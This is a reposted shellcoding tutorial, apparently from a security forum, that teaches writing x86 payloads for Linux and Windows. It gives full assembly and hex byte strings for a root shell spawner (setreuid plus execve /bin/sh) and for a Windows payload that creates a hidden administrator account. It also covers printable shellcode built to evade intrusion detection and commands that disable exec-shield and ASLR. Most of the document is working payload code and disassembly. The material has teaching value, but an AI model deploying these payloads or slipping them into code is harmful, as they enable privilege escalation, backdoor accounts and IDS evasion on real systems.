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Shellcoding for Linux and Windows

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Frequently Asked Questions

1. What is shellcoding?

In computer security, shellcoding in its most literal sense, means writing code that will return a remote shell when executed. The meaning of shellcode has evolved, it now represents any byte code that will be inserted into an exploit to accomplish a desired task.

2. There are tons of shellcode repositories all around the internet, why should I write my own?

Yes, you are correct, there are tons of repositories all around the internet for shellcoding. Namely, the metasploit project seems to be the best. Writing an exploit can be difficult, what happens when all of the prewritten blocks of code cease to work? You need to write your own! Hopefully this tutorial will give you a good head start.

3. What do I need to know before I begin?

A decent understanding of x86 assembly, C, and knowledge of the Linux and Windows operating systems.

4. What are the differences between windows shellcode and Linux shellcode?

Linux, unlike windows, provides a direct way to interface with the kernel through the int 0x80 interface. A complete listing of the Linux syscall table can be found here. Windows on the other hand, does not have a direct kernel interface. The system must be interfaced by loading the address of the function that needs to be executed from a DLL (Dynamic Link Library). The key difference between the two is the fact that the address of the functions found in windows will vary from OS version to OS version while the int 0x80 syscall numbers will remain constant. Windows programmers did this so that they could make any change needed to the kernel without any hassle; Linux on the contrary has fixed numbering system for all kernel level functions, and if they were to change, there would be a million angry programmers (and a lot of broken code).

5. So, what about windows? How do I find the addresses of my needed DLL functions? Don't these addresses change with every service pack upgrade?

There are multitudes of ways to find the addresses of the functions that you need to use in your shellcode. There are two methods for addressing functions; you can find the desired function at runtime or use hard coded addresses. This tutorial will mostly discuss the hard coded method. The only DLL that is guaranteed to be mapped into the shellcode's address space is kernel32.dll. This DLL will hold LoadLibrary and GetProcAddress, the two functions needed to obtain any functions address that can be mapped into the exploits process space. There is a problem with this method though, the address offsets will change with every new release of Windows (service packs, patches etc.). So, if you use this method your shellcode will ONLY work for a specific version of Windows. Further dynamic addressing will be referenced at the end of the paper in the Further Reading section.

6. What's the hype with making sure the shellcode won't have any NULL bytes in it? Normal programs have lots of NULL bytes!

Well this isn't a normal program! The main problem arises in the fact that when the exploit is inserted it will be a string. As we all know, strings are terminated with a NULL byte (C style strings anyhow). If we have a NULL byte in our shellcode things won't work correctly.

7. Why does my shellcode program crash when I run it?

Well, in most shellcode the assembly contained within has some sort of self modifying qualities. Since we are working in protected mode operating systems the .code segment of the executable image is read only. That is why the shell program needs to copy itself to the stack before attempting execution.

8. Can I contact you?

Sure, just email shanna@uiuc.edu. Feel free to ask questions, comments, or correct something that is wrong in this tutorial.

9. Why did you use intel syntax, UGHHH?!

I don't know! I honestly prefer at&t syntax, but for some reason I felt compelled to do this in intel syntax. I am really sorry!

10. Why does my program keep segfaulting? Yes, I read item 7 above, but it STILL crashes.

You probably are using an operating system with randomized stack and address space and possibly a protection mechanism that prevents you from executing code on the stack. All Linux based operating systems are not the same, so I present a solution for Fedora that should adapt easily.

echo 0 > /proc/sys/kernel/exec-shield   #turn it off
echo 0 > /proc/sys/kernel/randomize_va_space #turn it off

echo 1 > /proc/sys/kernel/exec-shield #turn it on
echo 1 > /proc/sys/kernel/randomize_va_space #turn it on

Background Information

EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers on the x86 platform.

AH, BH, CH and DH access the upper 16-bits of the GPRs.

AL, BL, CL, and DL access the lower 8-bits of the GPRs.

ESI and EDI are used when making Linux syscalls.

Syscalls with 6 arguments or less are passed via the GPRs.

XOR EAX, EAX is a great way to zero out a register (while staying away from the nefarious NULL byte!)

In Windows, all function arguments are passed on the stack according to their calling convention.

Required Tools

gcc

ld

nasm

objdump

Optional Tools

odfhex.c - a utility created by me to extract the shellcode from "objdump -d" and turn it into escaped hex code (very useful!).

arwin.c - a utility created by me to find the absolute addresses of windows functions within a specified DLL.

shellcodetest.c - this is just a copy of the c code found below. it is a small skeleton program to test shellcode.

exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm - the source code found in this document (the win32 shellcode was written with Windows XP SP1).

Linux Shellcoding

When testing shellcode, it is nice to just plop it into a program and let it run. The C program below will be used to test all of our code.

/*shellcodetest.c*/
char code[] = "bytecode will go here!";
int main(int argc, char **argv)
{
int (*func)();
func = (int ()) code;
(int)(*func)();
}

Example 1 - Making a Quick Exit

The easiest way to begin would be to demonstrate the exit syscall due to it's simplicity. Here is some simple asm code to call exit. Notice the al and XOR trick to ensure that no NULL bytes will get into our code.

;exit.asm
[SECTION .text]
global _start
_start:
xor eax, eax ;exit is syscall 1
mov al, 1 ;exit is syscall 1
xor ebx,ebx ;zero out ebx
int 0x80

Take the following steps to compile and extract the byte code.

steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter

exiter: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: b0 01 mov $0x1,%al
8048082: 31 db xor %ebx,%ebx
8048084: cd 80 int $0x80

The bytes we need are b0 01 31 db cd 80.

Replace the code at the top with:

char code[] = "\xb0\x01\x31\xdb\xcd\x80";

Now, run the program. We have a successful piece of shellcode! One can strace the program to ensure that it is calling exit.

Example 2 - Saying Hello

For this next piece, let's ease our way into something useful. In this block of code one will find an example on how to load the address of a string in a piece of our code at runtime. This is important because while running shellcode in an unknown environment, the address of the string will be unknown because the program is not running in its normal address space.

;hello.asm
[SECTION .text]

global _start


_start:

jmp short ender

starter:

xor eax, eax ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx

mov al, 4 ;syscall write
mov bl, 1 ;stdout is 1
pop ecx ;get the address of the string from the stack
mov dl, 5 ;length of the string
int 0x80

xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80

ender:
call starter ;put the address of the string on the stack
db 'hello'

steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello
hello: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: eb 19 jmp 804809b

08048082 <starter>:
8048082: 31 c0 xor %eax,%eax
8048084: 31 db xor %ebx,%ebx
8048086: 31 d2 xor %edx,%edx
8048088: 31 c9 xor %ecx,%ecx
804808a: b0 04 mov $0x4,%al
804808c: b3 01 mov $0x1,%bl
804808e: 59 pop %ecx
804808f: b2 05 mov $0x5,%dl
8048091: cd 80 int $0x80
8048093: 31 c0 xor %eax,%eax
8048095: b0 01 mov $0x1,%al
8048097: 31 db xor %ebx,%ebx
8048099: cd 80 int $0x80

0804809b <ender>:
804809b: e8 e2 ff ff ff call 8048082
80480a0: 68 65 6c 6c 6f push $0x6f6c6c65

Replace the code at the top with:

char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

At this point we have a fully functional piece of shellcode that outputs to stdout.

Now that dynamic string addressing has been demonstrated as well as the ability to zero

out registers, we can move on to a piece of code that gets us a shell.

Example 3 - Spawning a Shell

This code combines what we have been doing so far. This code attempts to set root privileges if they are dropped and then spawns a shell. Note: system("/bin/sh") would have been a lot simpler right? Well the only problem with that approach is the fact that system always drops privileges.

Remember when reading this code:

    execve (const char *filename, const char** argv, const char** envp);

So, the second two argument expect pointers to pointers. That's why I load the address of the "/bin/sh" into the string memory and then pass the address of the string memory to the function. When the pointers are dereferenced the target memory will be the "/bin/sh" string.

;shellex.asm
[SECTION .text]

global _start


_start:
xor eax, eax
mov al, 70 ;setreuid is syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short ender

starter:

pop ebx ;get the address of the string
xor eax, eax

mov [ebx+7 ], al ;put a NULL where the N is in the string
mov [ebx+8 ], ebx ;put the address of the string to where the
;AAAA is
mov [ebx+12], eax ;put 4 null bytes into where the BBBB is
mov al, 11 ;execve is syscall 11
lea ecx, [ebx+8] ;load the address of where the AAAA was
lea edx, [ebx+12] ;load the address of the NULLS
int 0x80 ;call the kernel, WE HAVE A SHELL!

ender:
call starter
db '/bin/shNAAAABBBB'

steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex

shellex: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: b0 46 mov $0x46,%al
8048084: 31 db xor %ebx,%ebx
8048086: 31 c9 xor %ecx,%ecx
8048088: cd 80 int $0x80
804808a: eb 16 jmp 80480a2

0804808c :
804808c: 5b pop %ebx
804808d: 31 c0 xor %eax,%eax
804808f: 88 43 07 mov %al,0x7(%ebx)
8048092: 89 5b 08 mov %ebx,0x8(%ebx)
8048095: 89 43 0c mov %eax,0xc(%ebx)
8048098: b0 0b mov $0xb,%al
804809a: 8d 4b 08 lea 0x8(%ebx),%ecx
804809d: 8d 53 0c lea 0xc(%ebx),%edx
80480a0: cd 80 int $0x80

080480a2 :
80480a2: e8 e5 ff ff ff call 804808c
80480a7: 2f das
80480a8: 62 69 6e bound %ebp,0x6e(%ecx)
80480ab: 2f das
80480ac: 73 68 jae 8048116
80480ae: 58 pop %eax
80480af: 41 inc %ecx
80480b0: 41 inc %ecx
80480b1: 41 inc %ecx
80480b2: 41 inc %ecx
80480b3: 42 inc %edx
80480b4: 42 inc %edx
80480b5: 42 inc %edx
80480b6: 42 inc %edx

Replace the code at the top with:

char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

This code produces a fully functional shell when injected into an exploit

and demonstrates most of the skills needed to write successful shellcode. Be

aware though, the better one is at assembly, the more functional, robust,

and most of all evil, one's code will be.

Windows Shellcoding

Example 1 - Sleep is for the Weak!

In order to write successful code, we first need to decide what functions we wish to use for this shellcode and then find their absolute addresses. For this example we just want a thread to sleep for an allotted amount of time. Let's load up arwin (found above) and get started. Remember, the only module guaranteed to be mapped into the processes address space is kernel32.dll. So for this example, Sleep seems to be the simplest function, accepting the amount of time the thread should suspend as its only argument.

G:\> arwin kernel32.dll Sleep

arwin - win32 address resolution program - by steve hanna - v.01

Sleep is located at 0x77e61bea in kernel32.dll

;sleep.asm
[SECTION .text]

global _start


_start:
xor eax,eax
mov ebx, 0x77e61bea ;address of Sleep
mov ax, 5000 ;pause for 5000ms
push eax
call ebx ;Sleep(ms);

steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep
sleep: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: bb ea 1b e6 77 mov $0x77e61bea,%ebx
8048087: 66 b8 88 13 mov $0x1388,%ax
804808b: 50 push %eax
804808c: ff d3 call *%ebx

Replace the code at the top with:

char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";

When this code is inserted it will cause the parent thread to suspend for five seconds (note: it will then probably crash because the stack is smashed at this point :-D).

Example 2 - A Message to say "Hey"

This second example is useful in the fact that it will show a shellcoder how to do several things within the bounds of windows shellcoding. Although this example does nothing more than pop up a message box and say "hey", it demonstrates absolute addressing as well as the dynamic addressing using LoadLibrary and GetProcAddress. The library functions we will be using are LoadLibraryA, GetProcAddress, MessageBoxA, and ExitProcess (note: the A after the function name specifies we will be using a normal character set, as opposed to a W which would signify a wide character set; such as unicode). Let's load up arwin and find the addresses we need to use. We will not retrieve the address of MessageBoxA at this time, we will dynamically load that address.

G:\>arwin kernel32.dll LoadLibraryA

arwin - win32 address resolution program - by steve hanna - v.01

LoadLibraryA is located at 0x77e7d961 in kernel32.dll

G:\>arwin kernel32.dll GetProcAddress

arwin - win32 address resolution program - by steve hanna - v.01

GetProcAddress is located at 0x77e7b332 in kernel32.dll

G:\>arwin kernel32.dll ExitProcess

arwin - win32 address resolution program - by steve hanna - v.01

ExitProcess is located at 0x77e798fd in kernel32.dll

;msgbox.asm 
[SECTION .text]

global _start


_start:
;eax holds return value
;ebx will hold function addresses
;ecx will hold string pointers
;edx will hold NULL


xor eax,eax
xor ebx,ebx ;zero out the registers
xor ecx,ecx
xor edx,edx

jmp short GetLibrary
LibraryReturn:
pop ecx ;get the library string
mov [ecx + 10], dl ;insert NULL
mov ebx, 0x77e7d961 ;LoadLibraryA(libraryname);
push ecx ;beginning of user32.dll
call ebx ;eax will hold the module handle

jmp short FunctionName
FunctionReturn:

pop ecx ;get the address of the Function string
xor edx,edx
mov [ecx + 11],dl ;insert NULL
push ecx
push eax
mov ebx, 0x77e7b332 ;GetProcAddress(hmodule,functionname);
call ebx ;eax now holds the address of MessageBoxA

jmp short Message
MessageReturn:
pop ecx ;get the message string
xor edx,edx
mov [ecx+3],dl ;insert the NULL

xor edx,edx

push edx ;MB_OK
push ecx ;title
push ecx ;message
push edx ;NULL window handle

call eax ;MessageBoxA(windowhandle,msg,title,type); Address

ender:
xor edx,edx
push eax
mov eax, 0x77e798fd ;exitprocess(exitcode);
call eax ;exit cleanly so we don't crash the parent program


;the N at the end of each string signifies the location of the NULL
;character that needs to be inserted

GetLibrary:
call LibraryReturn
db 'user32.dllN'
FunctionName
call FunctionReturn
db 'MessageBoxAN'
Message
call MessageReturn
db 'HeyN'


[steve hanna@1337b0x]$ nasm -f elf msgbox.asm; ld -o msgbox msgbox.o; objdump -d msgbox

msgbox: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 31 c9 xor %ecx,%ecx
8048086: 31 d2 xor %edx,%edx
8048088: eb 37 jmp 80480c1

0804808a :
804808a: 59 pop %ecx
804808b: 88 51 0a mov %dl,0xa(%ecx)
804808e: bb 61 d9 e7 77 mov $0x77e7d961,%ebx
8048093: 51 push %ecx
8048094: ff d3 call *%ebx
8048096: eb 39 jmp 80480d1

08048098 :
8048098: 59 pop %ecx
8048099: 31 d2 xor %edx,%edx
804809b: 88 51 0b mov %dl,0xb(%ecx)
804809e: 51 push %ecx
804809f: 50 push %eax
80480a0: bb 32 b3 e7 77 mov $0x77e7b332,%ebx
80480a5: ff d3 call *%ebx
80480a7: eb 39 jmp 80480e2

080480a9 :
80480a9: 59 pop %ecx
80480aa: 31 d2 xor %edx,%edx
80480ac: 88 51 03 mov %dl,0x3(%ecx)
80480af: 31 d2 xor %edx,%edx
80480b1: 52 push %edx
80480b2: 51 push %ecx
80480b3: 51 push %ecx
80480b4: 52 push %edx
80480b5: ff d0 call *%eax

080480b7 :
80480b7: 31 d2 xor %edx,%edx
80480b9: 50 push %eax
80480ba: b8 fd 98 e7 77 mov $0x77e798fd,%eax
80480bf: ff d0 call *%eax

080480c1 :
80480c1: e8 c4 ff ff ff call 804808a
80480c6: 75 73 jne 804813b
80480c8: 65 gs
80480c9: 72 33 jb 80480fe
80480cb: 32 2e xor (%esi),%ch
80480cd: 64 fs
80480ce: 6c insb (%dx),%es:(%edi)
80480cf: 6c insb (%dx),%es:(%edi)
80480d0: 4e dec %esi

080480d1 :
80480d1: e8 c2 ff ff ff call 8048098
80480d6: 4d dec %ebp
80480d7: 65 gs
80480d8: 73 73 jae 804814d
80480da: 61 popa
80480db: 67 addr16
80480dc: 65 gs
80480dd: 42 inc %edx
80480de: 6f outsl %ds:(%esi),(%dx)
80480df: 78 41 js 8048122
80480e1: 4e dec %esi

080480e2 :
80480e2: e8 c2 ff ff ff call 80480a9
80480e7: 48 dec %eax
80480e8: 65 gs
80480e9: 79 4e jns 8048139

Replace the code at the top with:

char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
"\xff\x48\x65\x79\x4e";

This example, while not useful in the fact that it only pops up a message box, illustrates several important concepts when using windows shellcoding. Static addressing as used in most of the example above can be a powerful (and easy) way to whip up working shellcode within minutes. This example shows the process of ensuring that certain DLLs are loaded into a process space. Once the address of the MessageBoxA function is obtained ExitProcess is called to make sure that the program ends without crashing.

Example 3 - Adding an Administrative Account

This third example is actually quite a bit simpler than the previous shellcode, but this code allows the exploiter to add a user to the remote system and give that user administrative privileges. This code does not require the loading of extra libraries into the process space because the only functions we will be using are WinExec and ExitProcess. Note: the idea for this code was taken from the Metasploit project mentioned above. The difference between the shellcode is that this code is quite a bit smaller than its counterpart, and it can be made even smaller by removing the ExitProcess function!

G:\>arwin kernel32.dll ExitProcess

arwin - win32 address resolution program - by steve hanna - v.01

ExitProcess is located at 0x77e798fd in kernel32.dll

G:\>arwin kernel32.dll WinExec

arwin - win32 address resolution program - by steve hanna - v.01

WinExec is located at 0x77e6fd35 in kernel32.dll

;adduser.asm
[Section .text]

global _start

_start:

jmp short GetCommand

CommandReturn:
pop ebx ;ebx now holds the handle to the string
xor eax,eax
push eax
xor eax,eax ;for some reason the registers can be very volatile, did this just in case
mov [ebx + 89],al ;insert the NULL character
push ebx
mov ebx,0x77e6fd35
call ebx ;call WinExec(path,showcode)

xor eax,eax ;zero the register again, clears winexec retval
push eax
mov ebx, 0x77e798fd
call ebx ;call ExitProcess(0);

GetCommand:

;the N at the end of the db will be replaced with a null character

call CommandReturn

db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN"

steve hanna@1337b0x:~$ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser

adduser: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
8048080: eb 1b jmp 804809d

08048082 :
8048082: 5b pop %ebx
8048083: 31 c0 xor %eax,%eax
8048085: 50 push %eax
8048086: 31 c0 xor %eax,%eax
8048088: 88 43 59 mov %al,0x59(%ebx)
804808b: 53 push %ebx
804808c: bb 35 fd e6 77 mov $0x77e6fd35,%ebx
8048091: ff d3 call *%ebx
8048093: 31 c0 xor %eax,%eax
8048095: 50 push %eax
8048096: bb fd 98 e7 77 mov $0x77e798fd,%ebx
804809b: ff d3 call *%ebx

0804809d :
804809d: e8 e0 ff ff ff call 8048082
80480a2: 63 6d 64 arpl %bp,0x64(%ebp)
80480a5: 2e cs
80480a6: 65 gs
80480a7: 78 65 js 804810e
80480a9: 20 2f and %ch,(%edi)
80480ab: 63 20 arpl %sp,(%eax)
80480ad: 6e outsb %ds:(%esi),(%dx)
80480ae: 65 gs
80480af: 74 20 je 80480d1
80480b1: 75 73 jne 8048126
80480b3: 65 gs
80480b4: 72 20 jb 80480d6
80480b6: 55 push %ebp
80480b7: 53 push %ebx
80480b8: 45 inc %ebp
80480b9: 52 push %edx
80480ba: 4e dec %esi
80480bb: 41 inc %ecx
80480bc: 4d dec %ebp
80480bd: 45 inc %ebp
80480be: 20 50 41 and %dl,0x41(%eax)
80480c1: 53 push %ebx
80480c2: 53 push %ebx
80480c3: 57 push %edi
80480c4: 4f dec %edi
80480c5: 52 push %edx
80480c6: 44 inc %esp
80480c7: 20 2f and %ch,(%edi)
80480c9: 41 inc %ecx
80480ca: 44 inc %esp
80480cb: 44 inc %esp
80480cc: 20 26 and %ah,(%esi)
80480ce: 26 20 6e 65 and %ch,%es:0x65(%esi)
80480d2: 74 20 je 80480f4
80480d4: 6c insb (%dx),%es:(%edi)
80480d5: 6f outsl %ds:(%esi),(%dx)
80480d6: 63 61 6c arpl %sp,0x6c(%ecx)
80480d9: 67 72 6f addr16 jb 804814b
80480dc: 75 70 jne 804814e
80480de: 20 41 64 and %al,0x64(%ecx)
80480e1: 6d insl (%dx),%es:(%edi)
80480e2: 69 6e 69 73 74 72 61 imul $0x61727473,0x69(%esi),%ebp
80480e9: 74 6f je 804815a
80480eb: 72 73 jb 8048160
80480ed: 20 2f and %ch,(%edi)
80480ef: 41 inc %ecx
80480f0: 44 inc %esp
80480f1: 44 inc %esp
80480f2: 20 55 53 and %dl,0x53(%ebp)
80480f5: 45 inc %ebp
80480f6: 52 push %edx
80480f7: 4e dec %esi
80480f8: 41 inc %ecx
80480f9: 4d dec %ebp
80480fa: 45 inc %ebp
80480fb: 4e dec %esi

Replace the code at the top with:

char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
"\x4e\x41\x4d\x45\x4e";

When this code is executed it will add a user to the system with the specified password, then adds that user to the local Administrators group. After that code is done executing, the parent process is exited by calling ExitProcess.

Advanced Shellcoding

This section covers some more advanced topics in shellcoding. Over time I hope to add quite a bit more content here but for the time being I am very busy. If you have any specific requests for topics in this section, please do not hesitate to email me.

Printable Shellcode

The basis for this section is the fact that many Intrustion Detection Systems detect shellcode because of the non-printable characters that are common to all binary data. The IDS observes that a packet containts some binary data (with for instance a NOP sled within this binary data) and as a result may drop the packet. In addition to this, many programs filter input unless it is alpha-numeric. The motivation behind printable alpha-numeric shellcode should be quite obvious. By increasing the size of our shellcode we can implement a method in which our entire shellcode block in in printable characters. This section will differ a bit from the others presented in this paper. This section will simply demonstrate the tactic with small examples without an all encompassing final example.

Our first discussion starts with obfuscating the ever blatant NOP sled. When an IDS sees an arbitrarily long string of NOPs (0x90) it will most likely drop the packet. To get around this we observe the decrement and increment op codes:

OP Code        Hex       ASCII
inc eax 0x40 @
inc ebx 0x43 C
inc ecx 0x41 A
inc edx 0x42 B
dec eax 0x48 H
dec ebx 0x4B K
dec ecx 0x49 I
dec edx 0x4A J

It should be pretty obvious that if we insert these operations instead of a NOP sled then the code will not affect the output. This is due to the fact that whenever we use a register in our shellcode we wither move a value into it or we xor it. Incrementing or decrementing the register before our code executes will not change the desired operation.

So, the next portion of this printable shellcode section will discuss a method for making one's entire block of shellcode alpha-numeric-- by means of some major tomfoolery. We must first discuss the few opcodes that fall in the printable ascii range (0x33 through 0x7e).

sub eax, 0xHEXINRANGE
push eax
pop eax
push esp
pop esp
and eax, 0xHEXINRANGE

Surprisingly, we can actually do whatever we want with these instructions. I did my best to keep diagrams out of this talk, but I decided to grace the world with my wonderful ASCII art. Below you can find a diagram of the basic plan for constructing the shellcode.

The plan works as follows:

-make space on stack for shellcode and loader

-execute loader code to construct shellcode

-use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.

-profit

But now I hear you clamoring that we can't use move nor can we subtract from esp because they don't fall into printable characters!!! Settle down, have I got a solution for you! We will use subtract to place values into EAX, push the value to the stack, then pop it into ESP.

Now you're wondering why I said subtract to put values into EAX, the problem is we can't use add, and we can't directly assign nonprintable bytes. How can we overcome this? We can use the fact that each register has only 32 bits, so if we force a wrap around, we can arbitrarily assign values to a register using only printable characters with two to three subtract instructions.

If the gears in your head aren't cranking yet, you should probably stop reading right now.

The log awaited ASCII diagram

1)
EIP(loader code) --------ALLOCATED STACK SPACE--------ESP

2)
---(loader code)---EIP-------STACK------ESP--(shellcode--

3)
----loadercode---EIP@ESP----shellcode that was builts---

So, that diagram probably warrants some explanation. Basically, we take our already written shellcode, and generate two to three subtract instructions per four bytes and do the push EAX, pop ESP trick. This basically places the constructed shellcode at the end of the stack and works towards the EIP. So we construct 4 bytes at a time for the entirety of the code and then insert a small NOP bridge (indicated by @) between the builder code and the shellcode. The NOP bridge is used to word align the end of the builder code.

Example code:

and eax, 0x454e4f4a	;  example of how to zero out eax(unrelated)
and eax, 0x3a313035


push esp
pop eax
sub eax, 0x39393333 ; construct 860 bytes of room on the stack
sub eax, 0x72727550
sub eax, 0x54545421

push eax ; save into esp
pop esp

Oh, and I forgot to mention, the code must be inserted in reverse order and the bytes must adhere to the little endian standard. That job sounds incredibly tedious, thank god that matrix wrote a tool that does it for us! The point is that now you can use this utility only once you understand the concepts presented above. Remember, if you don't understand it, you're just another script kiddie.

Further Reading

Below is a list of great resources that relate to shellcoding. I suggest picking up a copy of all of the documents listed, but if that is an impossibility, at the very least get The Shellcoder's Handbook; it is a pure goldmine of information.

The Shellcoder's Handbook by Jack Koziol et al

Hacking - The Art of Exploitation by Jon Erickson

"Understanding Windows Shellcode" by nologin.org

Conclusion

At this point the reader should be able to write at the very least basic shellcode to exploit applications on either the windows or linux platforms. The tricks demonstrated here will help a shellcoder understand other's shellcode and modify prewritten shellcode to fit the situation at hand. Shellcoding is always looked at as a minor detail of hacking a piece of software but invariably, a hack is only as strong enough as its weakest link. If the shellcode doesn't work, then the attempt at breaking the software fails; that is why it is important to understand all aspect of the process. Otherwise, good luck and have fun shellcoding!

Sursa

Am gasit cartea "The Shellcoders handbook" si am incarcat-o aici:

the_shellcoders_handbook.pdf

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